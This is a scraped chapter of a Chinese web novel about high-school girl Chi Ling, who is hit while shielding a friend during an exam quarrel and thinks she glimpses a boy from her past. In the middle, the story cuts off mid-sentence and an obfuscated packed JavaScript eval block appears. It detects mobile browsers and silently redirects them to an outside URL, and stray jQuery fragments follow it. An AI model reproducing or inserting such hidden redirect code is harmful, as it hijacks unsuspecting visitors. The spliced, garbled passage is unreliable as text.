10.灰石子

作品:《冷岛

    雨下了一天一夜没有停。


    楼下草坪角落里的几株野百合果实被雨打落,碾在泥里。


    绿叶味道淡淡,池聆昨晚没睡好,今早闹钟没听到,一睁眼比平时晚了十五分钟!


    女孩头发也没来得及扎,下楼拿起早餐要往外跑:“刘姨有点晚,我先走啦。”


    “回来。”


    即将要奔出餐厅的身影一晃,似乎忘了还有这茬。


    往常陈靳淮不在家池聆可以多睡一会儿,随便带点早餐路上吃,但他在就不一样了,陈靳淮龟毛的很,他不准,非要池聆坐在餐桌前营养均衡细嚼慢咽。


    刘姨叹气,熟练拉开陈靳淮对面椅子。


    池聆缓缓回头:“早啊哥。”


    “早。”


    池聆小声说:“我要迟到了。”


    “我给你请假。”


    算了吧。


    “一点也不像。”池聆蔫蔫地回到桌前,哪有这么年轻的家长。


    陈靳淮慢条斯理放下刀叉,抬眼看池聆味同嚼蜡一样的小脸,忍不住真心求教:“是你吃饭还是饭吃你。”


    “差不多。”池聆看表时间真来不及了,她今天有考试,抓着陈靳淮求救,“哥,你送我。”


    池聆闭眼,举着果蔬汁双手合十抬过头顶,模样虔诚。


    “.......”陈靳淮纡尊降贵接过绿油油的杯子,“白痴。”


    嘴上说她,实际还是站起了身:“吃完走。”


    池聆笑出酒窝,尾巴似的跟上他步子。


    这是九月的最后检测考试。


    假期也将到来。


    十六到十八班是理科实验,三个班级互换考场,池聆在自己班,童乐霏和张诠被分到了十六班,更巧的是两人座位号前后桌。


    童乐霏真想骂人了:“谁排的啊。”


    座位是系统自动排的,只能说运气不好了。


    池聆安慰她没事:“下次考试就换位置了。”


    “真倒霉。”


    池聆为她祈祷:“好运快来好运快来。”


    预备铃声响,童乐霏无奈,抓着考试用品去了隔壁班级。


    张诠在童乐霏身后,池聆盯着他,他像个没事人一样好像什么都过去了。


    第一场考语文,很快结束。


    中午大家都急匆匆去食堂吃饭,童乐霏还在奇怪,跟池聆说:“这人今天竟然一点都没犯贱。”


    池聆松了一口气:“那就好,可能是昨天卫老师的话起作用了。”


    童乐霏哼哼笑起来。


    张诠真的什么也没做,甚至下午数学都老老实实坐在童乐霏后面考完了。


    就在她们觉得这梁子算是扯平的时候,张诠开始了。


    英语听力刚刚开始,张诠就踩在童乐霏椅子上抖腿。


    附中讲究诚信考试,教室上方都有监控,老师不会时时刻刻盯着考场,但说不定就会在哪个监控里看着你。


    在这样隐形的压迫下,学生纪律保持得不错。


    后面人抖腿的幅度不小,严重干扰了童乐霏的注意力,忍无可忍,童乐霏回头警告:“考试呢,别乱动行不行。”


    张诠一脸疑惑抬头:“嗯哼。”


    童乐霏着急听力,没管他,但后面抖腿的速度越来越快,扰的她整个世界都乱糟糟的。


    听力结束童乐霏就预感这场考试要完,后面阅读才是大头,她做了几个深呼吸告诉自己要冷静,调整心态低下头。


    后面安静了,但只安静了一会儿,还多了不断按笔的声音


    教室很静,他故意制造出来的噪音就特别明显。


    童乐霏一有思路就被打断,打断就要重新看。


    她算是知道了,这货就是故意的。


    好不容易忍着做完阅读,童乐霏翻页。


    “咚咚。”


    椅子腿被猝不及防踹踢两脚,童乐霏身型前移。


    越来越过火,童乐霏冷冷回头,咬着牙气音质问:“你脑子有病?”


    张诠像根本不知道发生了什么似的,没事人的表情,无辜:“你有病?没见我学习呢。”


    “童乐霏你回头两次了哈,再转过来我举报你作弊了,别想抄我,没门。”


    “张诠我警告你,脚再敢踢我一下都别考了。”


    “滚回去,别特么耽误我考试。”


    童乐霏狠瞪他,回头。


    同一秒,身下椅子又被向前踹了两脚,纯挑衅。


    ........草。


    火气瞬间上涌,没完是吧,不想考是吧,觉得她好欺负?那就都别考了。


    童乐霏转身一把抽走张诠胳膊下压着的卷,黑色中性笔没准备,在答题卡上划出长长的曲线。


    张诠哼着的小曲一顿,脸色跟着沉下来:“给你脸了。”


    童乐霏五指伸直又收拢,试卷缓缓揉成球,极其果断地扔张诠脸上:“还踢吗?”


    他们这边声音就没收着,考场里所有人的目光都看过来了。


    童乐霏先站起来:“走啊,别在这影响别人。”


    张诠手点着童乐霏气笑:“行,看老子不收拾你。”


    附中人哪见过这场面,差点就在考场打起来了。


    窸窸窣窣你看我我看你,眼睛瞪大全是震惊,焦点位的两个人已经堂而皇之地走出了教室。


    此时池聆刚做完一卷,走廊传来喧闹,她没在意,抬眼看时间,余光却恰好瞥见两道推搡的身影。


    童乐霏的高马尾太好辨认,池聆马上意识到出事了。


    老师还没有回来,池聆心悬起。童乐霏这个人有点死脑筋,她真害怕两个人动手。


    那谁都逃不过处分。


    笔捏在手里迟迟落不下。


    隔壁考场闹出的声音挺大的,靠近门那块的都能听见,谁悄悄哇靠了一句:“这是打起来了啊,老师呢,刺激啊。”


    池聆有种不好的预感,抿唇挣扎再三,忽然起身跑了出去。


    童乐霏和张诠已不见身影。


    池聆立马转身去隔壁找老师,没人,都没人。


    宋唐刚从教研室回来就见自己班学生不好好考试在外面乱窜。


    他驻足皱眉:“池聆?你题都做完了?在这里干什么。”


    池聆蓦然回头,像见了救星:“宋老师!出事了!”


    宋唐听完池聆的话往十六班考场一看。


    果然两个座位空空如也,地上还有团废纸,不难看出是英语答题卡。


    他面色奇差,很难想象这是发生在高三学生考试期间的事情,坐在第一排的学生小声开口:“老师,那俩人吵架出去了。”


    这种事的严重性不言而喻。


    宋唐转身对池聆说:“你回去考试,我去找。”


    池聆害怕童乐霏吃亏:“老师我和你一起吧,两个人快一点。”


    宋唐没空管她,火急火燎找人。


    其他开会的老师依次回到教室,宋唐大体说了几句。


    “还有这种事?不在讲台上看着你们就要翻天?”


    好好的上午乱成了一锅粥。


    最后是在教学楼后人少的一片竹林边上,不见其人闻其声,宋唐和池聆对视,立马开跑。


    站在一起的两个人吵的不可开交,童乐霏好像说了什么,张诠怒不可遏扬威抬手,巴掌眼看要落下来。


    “张诠!”宋唐大喊。


    池聆来不及多想,屏气,几乎用了自己最快的速度,用力抓住童乐霏手腕拉到自己身后。


    “嗡——”


    “池聆!”


    池聆后颈到肩那块位置一麻,没了知觉。


    宋唐更愤怒的声音在耳边炸开:“张诠!你敢在学校动手?!我看你是疯了!”


    童乐霏被撞地倒退几步,看清挡在自己身前的人睁大眼:“你怎么在这里,池聆你有事没。”


    吵吵嚷嚷中,池聆才后知后觉发现,她替童乐霏挡住了这巴掌。


    ……


    张诠用劲不小,但好在池聆是背着身扑过去的,打到的不是脸,就脖颈那块留了点红印,痛感也不明显。


    宋唐教学二十余年处理过无数棘手问题,男女冲突这么狂妄嚣张的还是第一次见。


    两个人全被留在教务处喊家长。


    宋唐让另一个女生陪着池聆去校医室,检查无大碍后开了云南白药喷雾和膏药。


    女生叫沈心怡,和池聆一个考场,挺纳闷的,欲言又止:“你们两个关系很好吗,你的英语没答完哎,为什么要跑出去。”


    “我看老卫也挺生气的。”


    卫鸿和其他老师赶到时三个人老老实实站了一排,池聆也没逃过骂,说她应该在这里吗?


    “其实我觉得童乐霏这个人也有点冲,她之前和那群男生混得太近了现在才闹这么难看,总之你注意点吧,她之前名声也不太好。”


    话完,她又马上补充:“我可不是挑拨离间啊,就想提醒你别被当枪使了。”


    池聆笑笑,嗯了声。


    “只是能帮一下就帮一下而已,她人不坏。”


    池聆知道童乐霏性子上有点小毛病,在童乐霏生日之前两人关系一直是不咸不淡那种,后面因为她帮忙付了钱关系才急剧升温,很难讲维持这种关系的根本因素是什么。


    不过论迹不论心,池聆现在只是以自己感受到的为主,毕竟人无完人,她也没办法冷冷旁观。


    “那你回去休息休息吧,下午还有理综,我要再去复习复习。”


    “谢谢你。”


    池聆拎着白色塑料袋回座位。


    教室里还有人在聊这件事,特别想拉着池聆八卦:“池聆池聆!快给我们讲讲,打起来了吗。”


    池聆摇头,不欲多说,把塑料袋放进书桌,拿起水杯离开。人都挤在过道,她低着头嘴里小声让一让,麻烦让一让。


    好不容易钻出去,浑浊的空气才有了一瞬的清新。


    天空湛蓝,青灰楼砖被光割成不规则方形,一个高瘦的男生站在楼檐下踢石子,他手里举着手机在通话,看不清具体脸庞,池聆一扫而过向前走。


    原本也就这样了,可正在她要离开时,余光隐约瞥见那人仰头看了看天,正对着教学楼的玻璃。


    熟悉的眉眼和动作在脑海间一闪而过,池聆心脏骤停。


    动作快于思想,她忙不迭地再次朝那个位置看去,男生已经转身往回走。


    好像记忆里的人。


    比任何一次都像。


    脚步匆匆,她急忙朝东跑,一边紧盯着那道影子一边推开人群。


    然而为时已晚。


    等池聆喘着气跑到那里时除了几片叶子什么都没有。


    是巧合吗,应潮也喜欢踢石子。


    是她看错了吗,池聆本能想他怎么会在这里。


    那是太久没见,她才会把别人看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443576|200308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成他?


    池聆思绪乱糟糟的,下午的考试也做的没平时顺手。


    她努力控制住自己,全心全意投入计算和化学式中,在最后一笔落下时,脑海倏然浮现白光,一个大胆的想法转瞬即逝。


    或许她没有看错呢。


    童乐霏说过最近来了一个转学生。


    那个男生也没有穿校服。


    这个想法的出现让池聆好像抓住了一根毛线头。


    看似天方夜谭。


    可池聆的第六感在问她,万一就是这样巧合呢。


    万一就是他呢。


    她现在无从落实,联系不到消息灵通的童乐霏。


    童乐霏和张诠的事刚出结果,卫鸿执意要交给校方开除处理,两方家长自然不愿意,说孩子现在高三,说不懂事,说现在被开除孩子一辈子就被毁了啊。


    等等等等。


    卫鸿气得眼发红,最后也是留了一丝善良:“张诠屡教不改,动手打人行为恶劣!留校察看,回去反思一个月转普通班!童乐霏你也有挑衅成分在!记大过!回家反思半个月!再有下次绝不轻饶!”


    池聆考完就在手机上看见了这份全校通报,还有一条童乐霏的消息:「没事,别担心,就是我爸妈把我手机没收了,这段时间不能找你了,不过池聆你的好我记住了,我回去一定好好感谢你。」


    她并不需要什么感谢,打了几句话过去安抚她,没有回音,对方手机应该已经被监管。


    池聆手机上却多了另外一条信息。


    CJH:「放假了?」


    CJH:「打车来我这。」


    小水:「有什么事吗。」


    CJH:「有。」


    紧接着来了一个链接,CJH:「定位」


    有事但不说什么事,就是有,就是让她过去。


    池聆点开定位,在陈靳淮学校附近,不知道他要干什么。


    池聆哪里有反驳的机会,只能根据他给的地址输入目的地喊车,今天路特别堵,堵到陈靳淮问她到哪了,池聆说快了快了。


    池聆摆弄着手机在列表找人,点开几个头像删删减减发了几句话过去,长呼一口气,然后就是漫长的等待。


    好不容易穿过拥堵的地段抵达陈靳淮所在地。


    这位置和他们学校隔了条街,一个四合院门口。


    路边的灯早就亮了,暗淡天光下黄澄澄的光晕一个接一个,池聆随便找了个地方给陈靳淮发消息。


    小水:「到了。」


    不到一分钟,陈靳淮出来接她了。


    这片挺安静的,小巷口时不时窜过一辆自行车,两步远处有一颗老槐树,风吹过叶子哗啦直响,池聆现在可以好奇了。


    “来这干什么?”


    陈靳淮说:“吃饭。”


    池聆沉默,让她绕了这么一大圈,就是陪他吃顿饭?


    她略有不满,语气平和地问:“你和你朋友吃不行吗,我今天还有事呢。”


    陈靳淮觉得自己真是好心当作驴肝肺,好手给瞎子上眼药水。


    这家餐厅是会员预约制,很难排,上次和顾潋谈客户来了这地儿一回,觉得是池聆会喜欢的口味,便想着带她也来尝尝。


    结果她反倒嫌麻烦了。


    陈靳淮差点气笑:“你能有什么事。”


    池聆语气听着兴致不高:“不告诉你。”


    陈靳淮接过池聆书包,又勾了下池聆领子示意她往里走,低头想再逗池聆几句,忽然瞥见一道红印。


    女孩白皙的皮肤光滑,黄粽色的蓬松发丝蜷曲在肩膀周围闪得像发光,这地方不明显,但看见了,就能发现这块红特别不正常。


    插科打诨的话没了,狭长的眼微眯,陈靳淮手指覆在周围敲点问:“这里怎么了?”


    他触碰的地方痛感不强,不说差点忘了,但她皮肤敏感,红肿还没褪去。


    学校发生的池聆不想告诉他,见到一个很像应潮的人更不想告诉他,池聆摸摸鼻子,试图打哈哈糊弄过去:“不小心碰到的,没事。”


    陈靳淮审视的眼神打量着她,池聆心虚重复:“真没事。”


    不知道信没信,总之他没再追问。


    中式庭院的房间就他们两个人,刺绣屏风后假山交叠曲水流觞,池聆说去趟卫生间,他一个人在餐桌前等着。


    女孩手机没带,就扔在陈靳淮旁边,开始亮了下,接着又亮了几下,她没锁屏,现在消息内容一条条地跳了出来。


    和谁这么能聊,陈靳淮只觉得吵,伸手要给她扣上。


    脸庞稍侧,长指碰到锁屏键的前一秒,目光忽然被某个字眼吸引住。


    动作暂停。


    消息还在继续。


    陈靳淮冷冷凝视着这块小屏幕几秒,接着没什么隐私观和歉意地拉开消息拦。


    五六条消息堆在一起缓缓展开。


    高二(九)戈念云:「我当然给你保密!不过你开窍了?竟然会找我打听男生。」


    高二(九)戈念云:「还有一点欣慰是怎么回事,我必须帮你问到好吧。」


    高二(九)戈念云:「新来那个转学生在四班,也是学理的,叫什么还不知道,前几次来只办了手续,国庆后才正式报道,所以认识他的也不多。」


    高二(九)戈念云:「但帅是真的,这点可以肯定。」


    高二(九)戈念云:「见过的都说好(坏笑jpg.)」